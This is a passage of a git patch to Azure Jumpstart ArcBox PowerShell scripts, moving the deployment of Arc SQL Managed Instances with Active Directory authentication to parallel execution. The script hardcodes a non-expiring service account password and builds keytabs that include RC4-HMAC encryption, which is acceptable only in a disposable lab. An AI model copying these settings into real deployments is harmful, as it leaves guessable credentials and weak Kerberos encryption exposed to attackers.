'logAnalyticsPrimaryKey-stage', $workspaceKey | Set-Content -Path $dataControllerParams + + az deployment group create --resource-group $Env:resourceGroup --name $cluster.dataController --template-file "$Env:ArcBoxDir\dataController.json" --parameters "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" + Write-Host "`n" + + Do { + Write-Host "Waiting for data controller. Hold tight, this might take a few minutes..." + Start-Sleep -Seconds 45 + $dcStatus = $(if (kubectl get datacontroller -n arc --kubeconfig $cluster.kubeConfig | Select-String "Ready" -Quiet) { "Ready!" }Else { "Nope" }) + } while ($dcStatus -eq "Nope") + Write-Host "Azure Arc data controller is ready!" + Write-Host "`n" + Remove-Item "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" -Force + Stop-Transcript + } Write-Header "Deploying SQLMI" # Deploy SQL MI data services diff --git a/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 b/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 index 74dce0edaf..9a104f69fd 100644 --- a/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 @@ -92,218 +92,208 @@ $filename = "SQLMIEndpoints.txt" $file = New-Item -Path $Env:ArcBoxDir -Name $filename -ItemType "file" $Endpoints = $file.FullName -foreach ($sqlInstance in $sqlInstances) { - - Start-Job -Name arcbox -ScriptBlock { - $ErrorActionPreference = 'SilentlyContinue' - $WarningPreference = 'SilentlyContinue' - $dcInfo = $using:dcInfo - $Endpoints = $using:Endpoints - $sqlmiOUDN = $using:sqlmiOUDN - $sqlInstances = $using:sqlInstances - $sqlmi_port = $using:sqlmi_port - $sqlInstance = $using:sqlInstance - $context = $sqlInstance.context - - Start-Transcript -Path "$Env:ArcBoxLogsDir\SQLMI-$context.log" - - $sqlInstance = $using:sqlInstance - $sqlMIName = $sqlInstance.instanceName - $sqlmi_fqdn_name = $sqlMIName + "." + $dcInfo.domain - $sqlmi_secondary_fqdn_name = $sqlMIName + "-secondary." + $dcInfo.domain - - # Create dedicated service account for AD connector - $arcsaname = "sa-$sqlMIName" - $arcsapass = "ArcDSA#Pwd123$" - $arcsasecpass = $arcsapass | ConvertTo-SecureString -AsPlainText -Force - $sqlmisaupn = $arcsaname + "@" + $dcInfo.domain - - $samaccountname = $arcsaname - $domain_netbios_name = $dcInfo.domain.split('.')[0].ToUpper(); - $domain_name = $dcInfo.domain.ToUpper() - - try { - New-ADUser -Name $arcsaname ` - -UserPrincipalName $sqlmisaupn ` - -Path $sqlmiOUDN ` - -AccountPassword $arcsasecpass ` - -Enabled $true ` - -ChangePasswordAtLogon $false ` - -PasswordNeverExpires $true - } - catch { - # User already exists - Write-Host "User $arcsaname already existings in the directory." - } - - Start-Sleep -Seconds 10 - # Geneate key tab - try { - setspn -A MSSQLSvc/${sqlmi_fqdn_name} ${domain_netbios_name}\${samaccountname} - setspn -A MSSQLSvc/${sqlmi_fqdn_name}:${sqlmi_port} ${domain_netbios_name}\${samaccountname} - - # Secondary instance spn - setspn -A MSSQLSvc/${sqlmi_secondary_fqdn_name} ${domain_netbios_name}\${samaccountname} - setspn -A MSSQLSvc/${sqlmi_secondary_fqdn_name}:${sqlmi_port} ${domain_netbios_name}\${samaccountname} - - $keytab_file = "$Env:ArcBoxDir\$sqlMIName.keytab" - ktpass /princ MSSQLSvc/${sqlmi_fqdn_name}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /out $keytab_file -setpass -setupn /pass $arcsapass - ktpass /princ MSSQLSvc/${sqlmi_fqdn_name}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - ktpass /princ MSSQLSvc/${sqlmi_fqdn_name}:${sqlmi_port}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - ktpass /princ MSSQLSvc/${sqlmi_fqdn_name}:${sqlmi_port}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - - # Generate Keytab for secondary - ktpass /princ MSSQLSvc/${sqlmi_secondary_fqdn_name}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - ktpass /princ MSSQLSvc/${sqlmi_secondary_fqdn_name}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - ktpass /princ MSSQLSvc/${sqlmi_secondary_fqdn_name}:${sqlmi_port}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - ktpass /princ MSSQLSvc/${sqlmi_secondary_fqdn_name}:${sqlmi_port}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - - ktpass /princ ${samaccountname}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - ktpass /princ ${samaccountname}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - # Convert key tab file into base64 data - $keytabrawdata = Get-Content $keytab_file -Encoding byte - $b64keytabtext = [System.Convert]::ToBase64String($keytabrawdata) - # Grant permission to DSA account on SQLMI OU - } - catch{ - - } - - - Start-Sleep -Seconds 10 - - Copy-Item "$Env:ArcBoxDir\adConnector.parameters.json" -Destination "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" - $adConnectorParams = "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" - $adConnectorName = $sqlInstance.dataController + "/adarc" - $serviceAccountProvisioning = "manual" - (Get-Content -Path $adConnectorParams) -replace 'connectorName-stage', $adConnectorName | Set-Content -Path $adConnectorParams - (Get-Content -Path $adConnectorParams) -replace 'domainController-stage', $dcInfo.HostName | Set-Content -Path $adConnectorParams - (Get-Content -Path $adConnectorParams) -replace 'netbiosDomainName-stage', $domain_netbios_name | Set-Content -Path $adConnectorParams - (Get-Content -Path $adConnectorParams) -replace 'realm-stage', $dcInfo.domain.ToUpper() | Set-Content -Path $adConnectorParams - (Get-Content -Path $adConnectorParams) -replace 'serviceAccountProvisioning-stage', $serviceAccountProvisioning | Set-Content -Path $adConnectorParams - (Get-Content -Path $adConnectorParams) -replace 'domainName-stage', $dcInfo.domain.Tolower() | Set-Content -Path $adConnectorParams - - az deployment group create --resource-group $Env:resourceGroup --name $sqlInstance.instanceName --template-file "$Env:ArcBoxDir\adConnector.json" --parameters "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" - Write-Host "`n" - Do { - Write-Host "Waiting for AD connector deployment. Hold tight, this might take a few minutes...(30s sleeping loop)" - Start-Sleep -Seconds 30 - $adcStatus = $(if (kubectl get adc adarc -n arc --kubeconfig $sqlInstance.kubeConfig | Select-String "Ready" -Quiet) { "Ready!" }Else { "Nope" }) - } while ($adcStatus -eq "Nope") - Write-Host "`n" - Write-Host "Azure Arc AD connector ready!" - Write-Host "`n" +$sqlInstances | Foreach-Object -ThrottleLimit 5 -Parallel { + $ErrorActionPreference = 'SilentlyContinue' + $WarningPreference = 'SilentlyContinue' + $sqlInstance = $_ + $dcInfo = $using:dcInfo + $Endpoints = $using:Endpoints + $sqlmiOUDN = $using:sqlmiOUDN + $sqlmi_port = $using:sqlmi_port + $context = $sqlInstance.context - Remove-Item "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" -Force - - # Deploying Azure Arc SQL Managed Instance - - Write-Host "Deploying Azure Arc SQL Managed Instance" - $dataControllerId = $(az resource show --resource-group $Env:resourceGroup --name $sqlInstance.dataController --resource-type "Microsoft.AzureArcData/dataControllers" --query id -o tsv) - $customLocationId = $(az customlocation show --name $sqlInstance.customLocation --resource-group $Env:resourceGroup --query id -o tsv) - - ################################################ - # Localize ARM template - ################################################ - $ServiceType = "LoadBalancer" - $readableSecondaries = $ServiceType - - # Resource Requests - $vCoresRequest = "2" - $memoryRequest = "4Gi" - $vCoresLimit = "4" - $memoryLimit = "8Gi" - - # Storage - $StorageClassName = $sqlInstance.storageClassName - $dataStorageSize = "30Gi" - $logsStorageSize = "30Gi" - $dataLogsStorageSize = "30Gi" - - # High Availability - $replicas = 3 # Deploy SQL MI "Business Critical" tier - ####################################################### - - - - Copy-Item "$Env:ArcBoxDir\sqlmiAD.parameters.json" -Destination "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" - $SQLParams = "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" - -(Get-Content -Path $SQLParams) -replace 'resourceGroup-stage', $Env:resourceGroup | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'dataControllerId-stage', $dataControllerId | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'customLocation-stage', $customLocationId | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'subscriptionId-stage', $Env:subscriptionId | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'azdataUsername-stage', $env:AZDATA_USERNAME | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'azdataPassword-stage', $env:AZDATA_PASSWORD | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'serviceType-stage', $ServiceType | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'readableSecondaries-stage', $readableSecondaries | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'vCoresRequest-stage', $vCoresRequest | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'memoryRequest-stage', $memoryRequest | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'vCoresLimit-stage', $vCoresLimit | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'memoryLimit-stage', $memoryLimit | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'dataStorageClassName-stage', $StorageClassName | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'logsStorageClassName-stage', $StorageClassName | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'dataLogStorageClassName-stage', $StorageClassName | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'dataSize-stage', $dataStorageSize | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'logsSize-stage', $logsStorageSize | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'dataLogSize-stage', $dataLogsStorageSize | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'replicasStage' , $replicas | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'sqlInstanceName-stage' , $sqlInstance.instanceName | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'keyTab-stage' , $b64keytabtext | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'adAccountName-stage' , $arcsaname | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'adConnectorName-stage' , "adarc" | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'dnsName-stage' , $sqlmi_fqdn_name | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'dnsNameSecondary-stage' , $sqlmi_secondary_fqdn_name | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'port-stage' , $sqlmi_port | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'licenseType-stage' , $sqlInstance.licenseType | Set-Content -Path $SQLParams - - az deployment group create --resource-group $Env:resourceGroup --name $sqlInstance.instanceName --template-file "$Env:ArcBoxDir\sqlmiAD.json" --parameters "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" - Write-Host "`n" + Start-Transcript -Path "$Env:ArcBoxLogsDir\SQLMI-$context.log" - Do { - Write-Host "Waiting for SQL Managed Instance. Hold tight, this might take a few minutes...(45s sleeping loop)" - Start-Sleep -Seconds 45 - $dcStatus = $(if (kubectl get sqlmanagedinstances -n arc --kubeconfig $sqlInstance.kubeConfig | Select-String "Ready" -Quiet) { "Ready!" }Else { "Nope" }) - } while ($dcStatus -eq "Nope") - Write-Host "Azure Arc SQL Managed Instance is ready!" - Write-Host "`n" + $sqlMIName = $sqlInstance.instanceName + $sqlmi_fqdn_name = $sqlMIName + "." + $dcInfo.domain + $sqlmi_secondary_fqdn_name = $sqlMIName + "-secondary." + $dcInfo.domain - Remove-Item "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" -Force + # Create dedicated service account for AD connector + $arcsaname = "sa-$sqlMIName" + $arcsapass = "ArcDSA#Pwd123$" + $arcsasecpass = $arcsapass | ConvertTo-SecureString -AsPlainText -Force + $sqlmisaupn = $arcsaname + "@" + $dcInfo.domain - # Create windows account in SQLMI to support AD authentication and grant sysadmin role - $podname = "${sqlMIName}-0" - kubectl exec $podname -c arc-sqlmi -n arc --kubeconfig $sqlInstance.kubeConfig -- /opt/mssql-tools/bin/sqlcmd -S localhost -U $env:AZDATA_USERNAME -P "$env:AZDATA_PASSWORD" -Q "CREATE LOGIN [${domain_netbios_name}\$env:adminUsername] FROM WINDOWS" - Write-Host "Created Windows user account ${domain_netbios_name}\$env:AZDATA_USERNAME in SQLMI instance." + $samaccountname = $arcsaname + $domain_netbios_name = $dcInfo.domain.split('.')[0].ToUpper(); + $domain_name = $dcInfo.domain.ToUpper() - kubectl exec $podname -c arc-sqlmi -n arc --kubeconfig $sqlInstance.kubeConfig -- /opt/mssql-tools/bin/sqlcmd -S localhost -U $env:AZDATA_USERNAME -P "$env:AZDATA_PASSWORD" -Q "EXEC master..sp_addsrvrolemember @loginame = N'${domain_netbios_name}\$env:adminUsername', @rolename = N'sysadmin'" - Write-Host "Granted sysadmin role to user account ${domain_netbios_name}\$env:AZDATA_USERNAME in SQLMI instance." + try { + New-ADUser -Name $arcsaname ` + -UserPrincipalName $sqlmisaupn ` + -Path $sqlmiOUDN ` + -AccountPassword $arcsasecpass ` + -Enabled $true ` + -ChangePasswordAtLogon $false ` + -PasswordNeverExpires $true + } + catch { + # User already exists + Write-Host "User $arcsaname already existings in the directory." + } - # Downloading demo database and restoring onto SQL MI - if ($sqlMIName -eq "capi-sql") { - Write-Host "`n" - Write-Host "Downloading AdventureWorks database for MS SQL... (1/2)" - kubectl exec $podname -n arc --kubeconfig $sqlInstance.kubeConfig -c arc-sqlmi -- wget https://github.com/Microsoft/sql-server-samples/releases/download/adventureworks/AdventureWorks2019.bak -O /var/opt/mssql/data/AdventureWorks2019.bak 2>&1 | Out-Null - Write-Host "Restoring AdventureWorks database for MS SQL. (2/2)" - kubectl exec $podname -n arc --kubeconfig $sqlInstance.kubeConfig -c arc-sqlmi -- /opt/mssql-tools/bin/sqlcmd -S localhost -U $Env:AZDATA_USERNAME -P "$Env:AZDATA_PASSWORD" -Q "RESTORE DATABASE AdventureWorks2019 FROM DISK = N'/var/opt/mssql/data/AdventureWorks2019.bak' WITH MOVE 'AdventureWorks2019' TO '/var/opt/mssql/data/AdventureWorks2019.mdf', MOVE 'AdventureWorks2019_Log' TO '/var/opt/mssql/data/AdventureWorks2019_Log.ldf'" 2>&1 $null - Write-Host "Restoring AdventureWorks database completed." - } + Start-Sleep -Seconds 10 + # Geneate key tab + try { + setspn -A MSSQLSvc/${sqlmi_fqdn_name} ${domain_netbios_name}\${samaccountname} + setspn -A MSSQLSvc/${sqlmi_fqdn_name}:${sqlmi_port} ${domain_netbios_name}\${samaccountname} + + # Secondary instance spn + setspn -A MSSQLSvc/${sqlmi_secondary_fqdn_name} ${domain_netbios_name}\${samaccountname} + setspn -A MSSQLSvc/${sqlmi_secondary_fqdn_name}:${sqlmi_port} ${domain_netbios_name}\${samaccountname} + + $keytab_file = "$Env:ArcBoxDir\$sqlMIName.keytab" + ktpass /princ MSSQLSvc/${sqlmi_fqdn_name}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /out $keytab_file -setpass -setupn /pass $arcsapass + ktpass /princ MSSQLSvc/${sqlmi_fqdn_name}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + ktpass /princ MSSQLSvc/${sqlmi_fqdn_name}:${sqlmi_port}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + ktpass /princ MSSQLSvc/${sqlmi_fqdn_name}:${sqlmi_port}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + + # Generate Keytab for secondary + ktpass /princ MSSQLSvc/${sqlmi_secondary_fqdn_name}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + ktpass /princ MSSQLSvc/${sqlmi_secondary_fqdn_name}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + ktpass /princ MSSQLSvc/${sqlmi_secondary_fqdn_name}:${sqlmi_port}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + ktpass /princ MSSQLSvc/${sqlmi_secondary_fqdn_name}:${sqlmi_port}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + + ktpass /princ ${samaccountname}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + ktpass /princ ${samaccountname}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + # Convert key tab file into base64 data + $keytabrawdata = Get-Content $keytab_file -Encoding byte + $b64keytabtext = [System.Convert]::ToBase64String($keytabrawdata) + # Grant permission to DSA account on SQLMI OU + } + catch{ - Stop-Transcript } -} -while ($(Get-Job -Name arcbox).State -eq 'Running') { - Receive-Job -Name arcbox -WarningAction SilentlyContinue - Start-Sleep -Seconds 5 -} + Start-Sleep -Seconds 10 + + Copy-Item "$Env:ArcBoxDir\adConnector.parameters.json" -Destination "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" + $adConnectorParams = "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" + $adConnectorName = $sqlInstance.dataController + "/adarc" + $serviceAccountProvisioning = "manual" + (Get-Content -Path $adConnectorParams) -replace 'connectorName-stage', $adConnectorName | Set-Content -Path $adConnectorParams + (Get-Content -Path $adConnectorParams) -replace 'domainController-stage', $dcInfo.HostName | Set-Content -Path $adConnectorParams + (Get-Content -Path $adConnectorParams) -replace 'netbiosDomainName-stage', $domain_netbios_name | Set-Content -Path $adConnectorParams + (Get-Content -Path $adConnectorParams) -replace 'realm-stage', $dcInfo.domain.ToUpper() | Set-Content -Path $adConnectorParams + (Get-Content -Path $adConnectorParams) -replace 'serviceAccountProvisioning-stage', $serviceAccountProvisioning | Set-Content -Path $adConnectorParams + (Get-Content -Path $adConnectorParams) -replace 'domainName-stage', $dcInfo.domain.Tolower() | Set-Content -Path $adConnectorParams + + az deployment group create --resource-group $Env:resourceGroup --name $sqlInstance.instanceName --template-file "$Env:ArcBoxDir\adConnector.json" --parameters "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" + Write-Host "`n" + Do { + Write-Host "Waiting for AD connector deployment. Hold tight, this might take a few minutes...(30s sleeping loop)" + Start-Sleep -Seconds 30 + $adcStatus = $(if (kubectl get adc adarc -n arc --kubeconfig $sqlInstance.kubeConfig | Select-String "Ready" -Quiet) { "Ready!" }Else { "Nope" }) + } while ($adcStatus -eq "Nope") + + Write-Host "`n" + Write-Host "Azure Arc AD connector ready!" + Write-Host "`n" + + Remove-Item "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" -Force + + # Deploying Azure Arc SQL Managed Instance + + Write-Host "Deploying Azure Arc SQL Managed Instance" + $dataControllerId = $(az resource show --resource-group $Env:resourceGroup --name $sqlInstance.dataController --resource-type "Microsoft.AzureArcData/dataControllers" --query id -o tsv) + $customLocationId = $(az customlocation show --name $sqlInstance.customLocation --resource-group $Env:resourceGroup --query id -o tsv) + + ################################################ + # Localize ARM template + ################################################ + $ServiceType = "LoadBalancer" + $readableSecondaries = $ServiceType + + # Resource Requests + $vCoresRequest = "2" + $memoryRequest = "4Gi" + $vCoresLimit = "4" + $memoryLimit = "8Gi" + + # Storage + $StorageClassName = $sqlInstance.storageClassName + $dataStorageSize = "30Gi" + $logsStorageSize = "30Gi" + $dataLogsStorageSize = "30Gi" + + # High Availability + $replicas = 3 # Deploy SQL MI "Business Critical" tier + ####################################################### + + + + Copy-Item "$Env:ArcBoxDir\sqlmiAD.parameters.json" -Destination "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" + $SQLParams = "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" + + (Get-Content -Path $SQLParams) -replace 'resourceGroup-stage', $Env:resourceGroup | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'dataControllerId-stage', $dataControllerId | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'customLocation-stage', $customLocationId | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'subscriptionId-stage', $Env:subscriptionId | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'azdataUsername-stage', $env:AZDATA_USERNAME | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'azdataPassword-stage', $env:AZDATA_PASSWORD | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'serviceType-stage', $ServiceType | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'readableSecondaries-stage', $readableSecondaries | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'vCoresRequest-stage', $vCoresRequest | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'memoryRequest-stage', $memoryRequest | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'vCoresLimit-stage', $vCoresLimit | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'memoryLimit-stage', $memoryLimit | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'dataStorageClassName-stage', $StorageClassName | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'logsStorageClassName-stage', $StorageClassName | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'dataLogStorageClassName-stage', $StorageClassName | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'dataSize-stage', $dataStorageSize | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'logsSize-stage', $logsStorageSize | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'dataLogSize-stage', $dataLogsStorageSize | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'replicasStage' , $replicas | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'sqlInstanceName-stage' , $sqlInstance.instanceName | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'keyTab-stage' , $b64keytabtext | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'adAccountName-stage' , $arcsaname | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'adConnectorName-stage' , "adarc" | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'dnsName-stage' , $sqlmi_fqdn_name | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'dnsNameSecondary-stage' , $sqlmi_secondary_fqdn_name | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'port-stage' , $sqlmi_port | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'licenseType-stage' , $sqlInstance.licenseType | Set-Content -Path $SQLParams + + az deployment group create --resource-group $Env:resourceGroup --name $sqlInstance.instanceName --template-file "$Env:ArcBoxDir\sqlmiAD.json" --parameters "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" + Write-Host "`n" + + Do { + Write-Host "Waiting for SQL Managed Instance. Hold tight, this might take a few minutes...(45s sleeping loop)" + Start-Sleep -Seconds 45 + $dcStatus = $(if (kubectl get sqlmanagedinstances -n arc --kubeconfig $sqlInstance.kubeConfig | Select-String "Ready" -Quiet) { "Ready!" }Else { "Nope" }) + } while ($dcStatus -eq "Nope") + Write-Host "Azure Arc SQL Managed Instance is ready!" + Write-Host "`n" + + Remove-Item "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" -Force + + # Create windows account in SQLMI to support AD authentication and grant sysadmin role + $podname = "${sqlMIName}-0" + kubectl exec $podname -c arc-sqlmi -n arc --kubeconfig $sqlInstance.kubeConfig -- /opt/mssql-tools/bin/sqlcmd -S localhost -U $env:AZDATA_USERNAME -P "$env:AZDATA_PASSWORD" -Q "CREATE LOGIN [${domain_netbios_name}\$env:adminUsername] FROM WINDOWS" + Write-Host "Created Windows user account ${domain_netbios_name}\$env:AZDATA_USERNAME in SQLMI instance." + + kubectl exec $podname -c arc-sqlmi -n arc --kubeconfig $sqlInstance.kubeConfig -- /opt/mssql-tools/bin/sqlcmd -S localhost -U $env:AZDATA_USERNAME -P "$env:AZDATA_PASSWORD" -Q "EXEC master..sp_addsrvrolemember @loginame = N'${domain_netbios_name}\$env:adminUsername', @rolename = N'sysadmin'" + Write-Host "Granted sysadmin role to user account ${domain_netbios_name}\$env:AZDATA_USERNAME in SQLMI instance." + + # Downloading demo database and restoring onto SQL MI + if ($sqlMIName -eq "capi-sql") { + Write-Host "`n" + Write-Host "Downloading AdventureWorks database for MS SQL... (1/2)" + kubectl exec $podname -n arc --kubeconfig $sqlInstance.kubeConfig -c arc-sqlmi -- wget https://github.com/Microsoft/sql-server-samples/releases/download/adventureworks/AdventureWorks2019.bak -O /var/opt/mssql/data/AdventureWorks2019.bak 2>&1 | Out-Null + Write-Host "Restoring AdventureWorks database for MS SQL. (2/2)" + kubectl exec $podname -n arc --kubeconfig $sqlInstance.kubeConfig -c arc-sqlmi -- /opt/mssql-tools/bin/sqlcmd -S localhost -U $Env:AZDATA_USERNAME -P "$Env:AZDATA_PASSWORD" -Q "RESTORE DATABASE AdventureWorks2019 FROM DISK = N'/var/opt/mssql/data/AdventureWorks2019.bak' WITH MOVE 'AdventureWorks2019' TO '/var/opt/mssql/data/AdventureWorks2019.mdf', MOVE 'AdventureWorks2019_Log' TO '/var/opt/mssql/data/AdventureWorks2019_Log.ldf'" 2>&1 $null + Write-Host "Restoring AdventureWorks database completed." + } -Get-Job -name arcbox | Remove-Job + Stop-Transcript +} Start-Transcript -Path "$Env:ArcBoxLogsDir\DeploySQLMIADAuth.log" -Append Write-Header "Generating endpoints file" +Write-Host "`n" + foreach ($sqlInstance in $sqlInstances){ # Retrieving SQL MI connection endpoint From 86ea211b1c337f4be39497b9f3fe12dc652ebe2f Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 1 Jan 2024 09:34:00 +0200 Subject: [PATCH 045/456] Update publicIPAddress assignments --- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 2 +- azure_jumpstart_arcbox/ARM/kubernetes/ubuntuCapi.json | 2 +- azure_jumpstart_arcbox/ARM/kubernetes/ubuntuRancher.json | 2 +- azure_jumpstart_arcbox/ARM/mgmt/addsVm.json | 2 +- azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep | 4 ++-- azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep | 8 ++------ azure_jumpstart_arcbox/bicep/kubernetes/ubuntuCapi.bicep | 2 +- .../bicep/kubernetes/ubuntuRancher.bicep | 2 +- azure_jumpstart_arcbox/bicep/main.bicep | 5 ++++- azure_jumpstart_arcbox/bicep/mgmt/addsVm.bicep | 6 +++--- 10 files changed, 17 insertions(+), 18 deletions(-) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index 87839f663c..10ad970092 100644 --- 